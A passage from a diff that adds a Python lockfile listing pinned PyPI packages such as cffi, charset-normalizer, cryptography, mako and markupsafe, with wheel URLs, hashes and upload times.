+ { url = "https://files.pythonhosted.org/packages/8b/f1/672d303ddf17c24fc83afd712316fda78dc6fce1cd53011b839483e1ecc8/cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2", size = 178802, upload-time = "2024-09-04T20:44:30.289Z" },
+ { url = "https://files.pythonhosted.org/packages/0e/2d/eab2e858a91fdff70533cab61dcff4a1f55ec60425832ddfdc9cd36bc8af/cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3", size = 454792, upload-time = "2024-09-04T20:44:32.01Z" },
+ { url = "https://files.pythonhosted.org/packages/75/b2/fbaec7c4455c604e29388d55599b99ebcc250a60050610fadde58932b7ee/cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683", size = 478893, upload-time = "2024-09-04T20:44:33.606Z" },
+ { url = "https://files.pythonhosted.org/packages/4f/b7/6e4a2162178bf1935c336d4da8a9352cccab4d3a5d7914065490f08c0690/cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5", size = 485810, upload-time = "2024-09-04T20:44:35.191Z" },
+ { url = "https://files.pythonhosted.org/packages/c7/8a/1d0e4a9c26e54746dc08c2c6c037889124d4f59dffd853a659fa545f1b40/cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4", size = 471200, upload-time = "2024-09-04T20:44:36.743Z" },
+ { url = "https://files.pythonhosted.org/packages/26/9f/1aab65a6c0db35f43c4d1b4f580e8df53914310afc10ae0397d29d697af4/cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd", size = 479447, upload-time = "2024-09-04T20:44:38.492Z" },
+ { url = "https://files.pythonhosted.org/packages/5f/e4/fb8b3dd8dc0e98edf1135ff067ae070bb32ef9d509d6cb0f538cd6f7483f/cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed", size = 484358, upload-time = "2024-09-04T20:44:40.046Z" },
+ { url = "https://files.pythonhosted.org/packages/f1/47/d7145bf2dc04684935d57d67dff9d6d795b2ba2796806bb109864be3a151/cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9", size = 488469, upload-time = "2024-09-04T20:44:41.616Z" },
+ { url = "https://files.pythonhosted.org/packages/bf/ee/f94057fa6426481d663b88637a9a10e859e492c73d0384514a17d78ee205/cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d", size = 172475, upload-time = "2024-09-04T20:44:43.733Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/fc/6a8cb64e5f0324877d503c854da15d76c1e50eb722e320b15345c4d0c6de/cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a", size = 182009, upload-time = "2024-09-04T20:44:45.309Z" },
+]
+
+[[package]]
+name = "charset-normalizer"
+version = "3.4.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e4/33/89c2ced2b67d1c2a61c19c6751aa8902d46ce3dacb23600a283619f5a12d/charset_normalizer-3.4.2.tar.gz", hash = "sha256:5baececa9ecba31eff645232d59845c07aa030f0c81ee70184a90d35099a0e63", size = 126367, upload-time = "2025-05-02T08:34:42.01Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d7/a4/37f4d6035c89cac7930395a35cc0f1b872e652eaafb76a6075943754f095/charset_normalizer-3.4.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0c29de6a1a95f24b9a1aa7aefd27d2487263f00dfd55a77719b530788f75cff7", size = 199936, upload-time = "2025-05-02T08:32:33.712Z" },
+ { url = "https://files.pythonhosted.org/packages/ee/8a/1a5e33b73e0d9287274f899d967907cd0bf9c343e651755d9307e0dbf2b3/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cddf7bd982eaa998934a91f69d182aec997c6c468898efe6679af88283b498d3", size = 143790, upload-time = "2025-05-02T08:32:35.768Z" },
+ { url = "https://files.pythonhosted.org/packages/66/52/59521f1d8e6ab1482164fa21409c5ef44da3e9f653c13ba71becdd98dec3/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fcbe676a55d7445b22c10967bceaaf0ee69407fbe0ece4d032b6eb8d4565982a", size = 153924, upload-time = "2025-05-02T08:32:37.284Z" },
+ { url = "https://files.pythonhosted.org/packages/86/2d/fb55fdf41964ec782febbf33cb64be480a6b8f16ded2dbe8db27a405c09f/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d41c4d287cfc69060fa91cae9683eacffad989f1a10811995fa309df656ec214", size = 146626, upload-time = "2025-05-02T08:32:38.803Z" },
+ { url = "https://files.pythonhosted.org/packages/8c/73/6ede2ec59bce19b3edf4209d70004253ec5f4e319f9a2e3f2f15601ed5f7/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e594135de17ab3866138f496755f302b72157d115086d100c3f19370839dd3a", size = 148567, upload-time = "2025-05-02T08:32:40.251Z" },
+ { url = "https://files.pythonhosted.org/packages/09/14/957d03c6dc343c04904530b6bef4e5efae5ec7d7990a7cbb868e4595ee30/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cf713fe9a71ef6fd5adf7a79670135081cd4431c2943864757f0fa3a65b1fafd", size = 150957, upload-time = "2025-05-02T08:32:41.705Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/c8/8174d0e5c10ccebdcb1b53cc959591c4c722a3ad92461a273e86b9f5a302/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a370b3e078e418187da8c3674eddb9d983ec09445c99a3a263c2011993522981", size = 145408, upload-time = "2025-05-02T08:32:43.709Z" },
+ { url = "https://files.pythonhosted.org/packages/58/aa/8904b84bc8084ac19dc52feb4f5952c6df03ffb460a887b42615ee1382e8/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a955b438e62efdf7e0b7b52a64dc5c3396e2634baa62471768a64bc2adb73d5c", size = 153399, upload-time = "2025-05-02T08:32:46.197Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/26/89ee1f0e264d201cb65cf054aca6038c03b1a0c6b4ae998070392a3ce605/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:7222ffd5e4de8e57e03ce2cef95a4c43c98fcb72ad86909abdfc2c17d227fc1b", size = 156815, upload-time = "2025-05-02T08:32:48.105Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/07/68e95b4b345bad3dbbd3a8681737b4338ff2c9df29856a6d6d23ac4c73cb/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:bee093bf902e1d8fc0ac143c88902c3dfc8941f7ea1d6a8dd2bcb786d33db03d", size = 154537, upload-time = "2025-05-02T08:32:49.719Z" },
+ { url = "https://files.pythonhosted.org/packages/77/1a/5eefc0ce04affb98af07bc05f3bac9094513c0e23b0562d64af46a06aae4/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:dedb8adb91d11846ee08bec4c8236c8549ac721c245678282dcb06b221aab59f", size = 149565, upload-time = "2025-05-02T08:32:51.404Z" },
+ { url = "https://files.pythonhosted.org/packages/37/a0/2410e5e6032a174c95e0806b1a6585eb21e12f445ebe239fac441995226a/charset_normalizer-3.4.2-cp312-cp312-win32.whl", hash = "sha256:db4c7bf0e07fc3b7d89ac2a5880a6a8062056801b83ff56d8464b70f65482b6c", size = 98357, upload-time = "2025-05-02T08:32:53.079Z" },
+ { url = "https://files.pythonhosted.org/packages/6c/4f/c02d5c493967af3eda9c771ad4d2bbc8df6f99ddbeb37ceea6e8716a32bc/charset_normalizer-3.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:5a9979887252a82fefd3d3ed2a8e3b937a7a809f65dcb1e068b090e165bbe99e", size = 105776, upload-time = "2025-05-02T08:32:54.573Z" },
+ { url = "https://files.pythonhosted.org/packages/ea/12/a93df3366ed32db1d907d7593a94f1fe6293903e3e92967bebd6950ed12c/charset_normalizer-3.4.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:926ca93accd5d36ccdabd803392ddc3e03e6d4cd1cf17deff3b989ab8e9dbcf0", size = 199622, upload-time = "2025-05-02T08:32:56.363Z" },
+ { url = "https://files.pythonhosted.org/packages/04/93/bf204e6f344c39d9937d3c13c8cd5bbfc266472e51fc8c07cb7f64fcd2de/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eba9904b0f38a143592d9fc0e19e2df0fa2e41c3c3745554761c5f6447eedabf", size = 143435, upload-time = "2025-05-02T08:32:58.551Z" },
+ { url = "https://files.pythonhosted.org/packages/22/2a/ea8a2095b0bafa6c5b5a55ffdc2f924455233ee7b91c69b7edfcc9e02284/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3fddb7e2c84ac87ac3a947cb4e66d143ca5863ef48e4a5ecb83bd48619e4634e", size = 153653, upload-time = "2025-05-02T08:33:00.342Z" },
+ { url = "https://files.pythonhosted.org/packages/b6/57/1b090ff183d13cef485dfbe272e2fe57622a76694061353c59da52c9a659/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98f862da73774290f251b9df8d11161b6cf25b599a66baf087c1ffe340e9bfd1", size = 146231, upload-time = "2025-05-02T08:33:02.081Z" },
+ { url = "https://files.pythonhosted.org/packages/e2/28/ffc026b26f441fc67bd21ab7f03b313ab3fe46714a14b516f931abe1a2d8/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c9379d65defcab82d07b2a9dfbfc2e95bc8fe0ebb1b176a3190230a3ef0e07c", size = 148243, upload-time = "2025-05-02T08:33:04.063Z" },
+ { url = "https://files.pythonhosted.org/packages/c0/0f/9abe9bd191629c33e69e47c6ef45ef99773320e9ad8e9cb08b8ab4a8d4cb/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e635b87f01ebc977342e2697d05b56632f5f879a4f15955dfe8cef2448b51691", size = 150442, upload-time = "2025-05-02T08:33:06.418Z" },
+ { url = "https://files.pythonhosted.org/packages/67/7c/a123bbcedca91d5916c056407f89a7f5e8fdfce12ba825d7d6b9954a1a3c/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1c95a1e2902a8b722868587c0e1184ad5c55631de5afc0eb96bc4b0d738092c0", size = 145147, upload-time = "2025-05-02T08:33:08.183Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/fe/1ac556fa4899d967b83e9893788e86b6af4d83e4726511eaaad035e36595/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ef8de666d6179b009dce7bcb2ad4c4a779f113f12caf8dc77f0162c29d20490b", size = 153057, upload-time = "2025-05-02T08:33:09.986Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/ff/acfc0b0a70b19e3e54febdd5301a98b72fa07635e56f24f60502e954c461/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:32fc0341d72e0f73f80acb0a2c94216bd704f4f0bce10aedea38f30502b271ff", size = 156454, upload-time = "2025-05-02T08:33:11.814Z" },
+ { url = "https://files.pythonhosted.org/packages/92/08/95b458ce9c740d0645feb0e96cea1f5ec946ea9c580a94adfe0b617f3573/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:289200a18fa698949d2b39c671c2cc7a24d44096784e76614899a7ccf2574b7b", size = 154174, upload-time = "2025-05-02T08:33:13.707Z" },
+ { url = "https://files.pythonhosted.org/packages/78/be/8392efc43487ac051eee6c36d5fbd63032d78f7728cb37aebcc98191f1ff/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4a476b06fbcf359ad25d34a057b7219281286ae2477cc5ff5e3f70a246971148", size = 149166, upload-time = "2025-05-02T08:33:15.458Z" },
+ { url = "https://files.pythonhosted.org/packages/44/96/392abd49b094d30b91d9fbda6a69519e95802250b777841cf3bda8fe136c/charset_normalizer-3.4.2-cp313-cp313-win32.whl", hash = "sha256:aaeeb6a479c7667fbe1099af9617c83aaca22182d6cf8c53966491a0f1b7ffb7", size = 98064, upload-time = "2025-05-02T08:33:17.06Z" },
+ { url = "https://files.pythonhosted.org/packages/e9/b0/0200da600134e001d91851ddc797809e2fe0ea72de90e09bec5a2fbdaccb/charset_normalizer-3.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:aa6af9e7d59f9c12b33ae4e9450619cf2488e2bbe9b44030905877f0b2324980", size = 105641, upload-time = "2025-05-02T08:33:18.753Z" },
+ { url = "https://files.pythonhosted.org/packages/20/94/c5790835a017658cbfabd07f3bfb549140c3ac458cfc196323996b10095a/charset_normalizer-3.4.2-py3-none-any.whl", hash = "sha256:7f56930ab0abd1c45cd15be65cc741c28b1c9a34876ce8c17a2fa107810c0af0", size = 52626, upload-time = "2025-05-02T08:34:40.053Z" },
+]
+
+[[package]]
+name = "colorama"
+version = "0.4.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
+]
+
+[[package]]
+name = "colored-traceback"
+version = "0.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "colorama", marker = "os_name == 'nt'" },
+ { name = "pygments" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/07/80/afcf567031ab8565f8f8d2bd14b007d313ea3258e50394e85b10a405099c/colored-traceback-0.4.2.tar.gz", hash = "sha256:ecbc8e41f0712ea81931d7cd436b8beb9f3eff1595d2498f183e0ef69b56fe84", size = 4707, upload-time = "2024-07-13T19:49:37.027Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/da/28/05e035e2d95dc469408bcb1edfbee5d4fcfe3b0a5fa3701c5f1f10c77c49/colored_traceback-0.4.2-py3-none-any.whl", hash = "sha256:8ad752a5b3c4e50bccd99d4a2d01e16d80926b519e07a85437ecbf8b4f8ce884", size = 5502, upload-time = "2024-07-13T19:49:35.486Z" },
+]
+
+[[package]]
+name = "cryptography"
+version = "45.0.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cffi", marker = "platform_python_implementation != 'PyPy'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/fe/c8/a2a376a8711c1e11708b9c9972e0c3223f5fc682552c82d8db844393d6ce/cryptography-45.0.4.tar.gz", hash = "sha256:7405ade85c83c37682c8fe65554759800a4a8c54b2d96e0f8ad114d31b808d57", size = 744890, upload-time = "2025-06-10T00:03:51.297Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/cc/1c/92637793de053832523b410dbe016d3f5c11b41d0cf6eef8787aabb51d41/cryptography-45.0.4-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:425a9a6ac2823ee6e46a76a21a4e8342d8fa5c01e08b823c1f19a8b74f096069", size = 7055712, upload-time = "2025-06-10T00:02:38.826Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/14/93b69f2af9ba832ad6618a03f8a034a5851dc9a3314336a3d71c252467e1/cryptography-45.0.4-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:680806cf63baa0039b920f4976f5f31b10e772de42f16310a6839d9f21a26b0d", size = 4205335, upload-time = "2025-06-10T00:02:41.64Z" },
+ { url = "https://files.pythonhosted.org/packages/67/30/fae1000228634bf0b647fca80403db5ca9e3933b91dd060570689f0bd0f7/cryptography-45.0.4-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4ca0f52170e821bc8da6fc0cc565b7bb8ff8d90d36b5e9fdd68e8a86bdf72036", size = 4431487, upload-time = "2025-06-10T00:02:43.696Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/5a/7dffcf8cdf0cb3c2430de7404b327e3db64735747d641fc492539978caeb/cryptography-45.0.4-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f3fe7a5ae34d5a414957cc7f457e2b92076e72938423ac64d215722f6cf49a9e", size = 4208922, upload-time = "2025-06-10T00:02:45.334Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/f3/528729726eb6c3060fa3637253430547fbaaea95ab0535ea41baa4a6fbd8/cryptography-45.0.4-cp311-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:25eb4d4d3e54595dc8adebc6bbd5623588991d86591a78c2548ffb64797341e2", size = 3900433, upload-time = "2025-06-10T00:02:47.359Z" },
+ { url = "https://files.pythonhosted.org/packages/d9/4a/67ba2e40f619e04d83c32f7e1d484c1538c0800a17c56a22ff07d092ccc1/cryptography-45.0.4-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:ce1678a2ccbe696cf3af15a75bb72ee008d7ff183c9228592ede9db467e64f1b", size = 4464163, upload-time = "2025-06-10T00:02:49.412Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/9a/b4d5aa83661483ac372464809c4b49b5022dbfe36b12fe9e323ca8512420/cryptography-45.0.4-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:49fe9155ab32721b9122975e168a6760d8ce4cffe423bcd7ca269ba41b5dfac1", size = 4208687, upload-time = "2025-06-10T00:02:50.976Z" },
+ { url = "https://files.pythonhosted.org/packages/db/b7/a84bdcd19d9c02ec5807f2ec2d1456fd8451592c5ee353816c09250e3561/cryptography-45.0.4-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:2882338b2a6e0bd337052e8b9007ced85c637da19ef9ecaf437744495c8c2999", size = 4463623, upload-time = "2025-06-10T00:02:52.542Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/84/69707d502d4d905021cac3fb59a316344e9f078b1da7fb43ecde5e10840a/cryptography-45.0.4-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:23b9c3ea30c3ed4db59e7b9619272e94891f8a3a5591d0b656a7582631ccf750", size = 4332447, upload-time = "2025-06-10T00:02:54.63Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/ee/d4f2ab688e057e90ded24384e34838086a9b09963389a5ba6854b5876598/cryptography-45.0.4-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b0a97c927497e3bc36b33987abb99bf17a9a175a19af38a892dc4bbb844d7ee2", size = 4572830, upload-time = "2025-06-10T00:02:56.689Z" },
+ { url = "https://files.pythonhosted.org/packages/70/d4/994773a261d7ff98034f72c0e8251fe2755eac45e2265db4c866c1c6829c/cryptography-45.0.4-cp311-abi3-win32.whl", hash = "sha256:e00a6c10a5c53979d6242f123c0a97cff9f3abed7f064fc412c36dc521b5f257", size = 2932769, upload-time = "2025-06-10T00:02:58.467Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/42/c80bd0b67e9b769b364963b5252b17778a397cefdd36fa9aa4a5f34c599a/cryptography-45.0.4-cp311-abi3-win_amd64.whl", hash = "sha256:817ee05c6c9f7a69a16200f0c90ab26d23a87701e2a284bd15156783e46dbcc8", size = 3410441, upload-time = "2025-06-10T00:03:00.14Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/0b/2488c89f3a30bc821c9d96eeacfcab6ff3accc08a9601ba03339c0fd05e5/cryptography-45.0.4-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:964bcc28d867e0f5491a564b7debb3ffdd8717928d315d12e0d7defa9e43b723", size = 7031836, upload-time = "2025-06-10T00:03:01.726Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/51/8c584ed426093aac257462ae62d26ad61ef1cbf5b58d8b67e6e13c39960e/cryptography-45.0.4-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6a5bf57554e80f75a7db3d4b1dacaa2764611ae166ab42ea9a72bcdb5d577637", size = 4195746, upload-time = "2025-06-10T00:03:03.94Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/7d/4b0ca4d7af95a704eef2f8f80a8199ed236aaf185d55385ae1d1610c03c2/cryptography-45.0.4-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:46cf7088bf91bdc9b26f9c55636492c1cce3e7aaf8041bbf0243f5e5325cfb2d", size = 4424456, upload-time = "2025-06-10T00:03:05.589Z" },
+ { url = "https://files.pythonhosted.org/packages/1d/45/5fabacbc6e76ff056f84d9f60eeac18819badf0cefc1b6612ee03d4ab678/cryptography-45.0.4-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:7bedbe4cc930fa4b100fc845ea1ea5788fcd7ae9562e669989c11618ae8d76ee", size = 4198495, upload-time = "2025-06-10T00:03:09.172Z" },
+ { url = "https://files.pythonhosted.org/packages/55/b7/ffc9945b290eb0a5d4dab9b7636706e3b5b92f14ee5d9d4449409d010d54/cryptography-45.0.4-cp37-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:eaa3e28ea2235b33220b949c5a0d6cf79baa80eab2eb5607ca8ab7525331b9ff", size = 3885540, upload-time = "2025-06-10T00:03:10.835Z" },
+ { url = "https://files.pythonhosted.org/packages/7f/e3/57b010282346980475e77d414080acdcb3dab9a0be63071efc2041a2c6bd/cryptography-45.0.4-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:7ef2dde4fa9408475038fc9aadfc1fb2676b174e68356359632e980c661ec8f6", size = 4452052, upload-time = "2025-06-10T00:03:12.448Z" },
+ { url = "https://files.pythonhosted.org/packages/37/e6/ddc4ac2558bf2ef517a358df26f45bc774a99bf4653e7ee34b5e749c03e3/cryptography-45.0.4-cp37-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:6a3511ae33f09094185d111160fd192c67aa0a2a8d19b54d36e4c78f651dc5ad", size = 4198024, upload-time = "2025-06-10T00:03:13.976Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/c0/85fa358ddb063ec588aed4a6ea1df57dc3e3bc1712d87c8fa162d02a65fc/cryptography-45.0.4-cp37-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:06509dc70dd71fa56eaa138336244e2fbaf2ac164fc9b5e66828fccfd2b680d6", size = 4451442, upload-time = "2025-06-10T00:03:16.248Z" },
+ { url = "https://files.pythonhosted.org/packages/33/67/362d6ec1492596e73da24e669a7fbbaeb1c428d6bf49a29f7a12acffd5dc/cryptography-45.0.4-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:5f31e6b0a5a253f6aa49be67279be4a7e5a4ef259a9f33c69f7d1b1191939872", size = 4325038, upload-time = "2025-06-10T00:03:18.4Z" },
+ { url = "https://files.pythonhosted.org/packages/53/75/82a14bf047a96a1b13ebb47fb9811c4f73096cfa2e2b17c86879687f9027/cryptography-45.0.4-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:944e9ccf67a9594137f942d5b52c8d238b1b4e46c7a0c2891b7ae6e01e7c80a4", size = 4560964, upload-time = "2025-06-10T00:03:20.06Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/37/1a3cba4c5a468ebf9b95523a5ef5651244693dc712001e276682c278fc00/cryptography-45.0.4-cp37-abi3-win32.whl", hash = "sha256:c22fe01e53dc65edd1945a2e6f0015e887f84ced233acecb64b4daadb32f5c97", size = 2924557, upload-time = "2025-06-10T00:03:22.563Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/4b/3256759723b7e66380397d958ca07c59cfc3fb5c794fb5516758afd05d41/cryptography-45.0.4-cp37-abi3-win_amd64.whl", hash = "sha256:627ba1bc94f6adf0b0a2e35d87020285ead22d9f648c7e75bb64f367375f3b22", size = 3395508, upload-time = "2025-06-10T00:03:24.586Z" },
+]
+
+[[package]]
+name = "idna"
+version = "3.10"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/f1/70/7703c29685631f5a7590aa73f1f1d3fa9a380e654b86af429e0934a32f7d/idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9", size = 190490, upload-time = "2024-09-15T18:07:39.745Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/76/c6/c88e154df9c4e1a2a66ccf0005a88dfb2650c1dffb6f5ce603dfbd452ce3/idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3", size = 70442, upload-time = "2024-09-15T18:07:37.964Z" },
+]
+
+[[package]]
+name = "intervaltree"
+version = "3.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "sortedcontainers" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/50/fb/396d568039d21344639db96d940d40eb62befe704ef849b27949ded5c3bb/intervaltree-3.1.0.tar.gz", hash = "sha256:902b1b88936918f9b2a19e0e5eb7ccb430ae45cde4f39ea4b36932920d33952d", size = 32861, upload-time = "2020-08-03T08:01:11.392Z" }
+
+[[package]]
+name = "mako"
+version = "1.3.10"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "markupsafe" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/9e/38/bd5b78a920a64d708fe6bc8e0a2c075e1389d53bef8413725c63ba041535/mako-1.3.10.tar.gz", hash = "sha256:99579a6f39583fa7e5630a28c3c1f440e4e97a414b80372649c0ce338da2ea28", size = 392474, upload-time = "2025-04-10T12:44:31.16Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/87/fb/99f81ac72ae23375f22b7afdb7642aba97c00a713c217124420147681a2f/mako-1.3.10-py3-none-any.whl", hash = "sha256:baef24a52fc4fc514a0887ac600f9f1cff3d82c61d4d700a1fa84d597b88db59", size = 78509, upload-time = "2025-04-10T12:50:53.297Z" },
+]
+
+[[package]]
+name = "markupsafe"
+version = "3.0.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0", size = 20537, upload-time = "2024-10-18T15:21:54.129Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/22/09/d1f21434c97fc42f09d290cbb6350d44eb12f09cc62c9476effdb33a18aa/MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf", size = 14274, upload-time = "2024-10-18T15:21:13.777Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/b0/18f76bba336fa5aecf79d45dcd6c806c280ec44538b3c13671d49099fdd0/MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225", size = 12348, upload-time = "2024-10-18T15:21:14.822Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/25/dd5c0f6ac1311e9b40f4af06c78efde0f3b5cbf02502f8ef9501294c425b/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028", size = 24149, upload-time = "2024-10-18T15:21:15.642Z" },
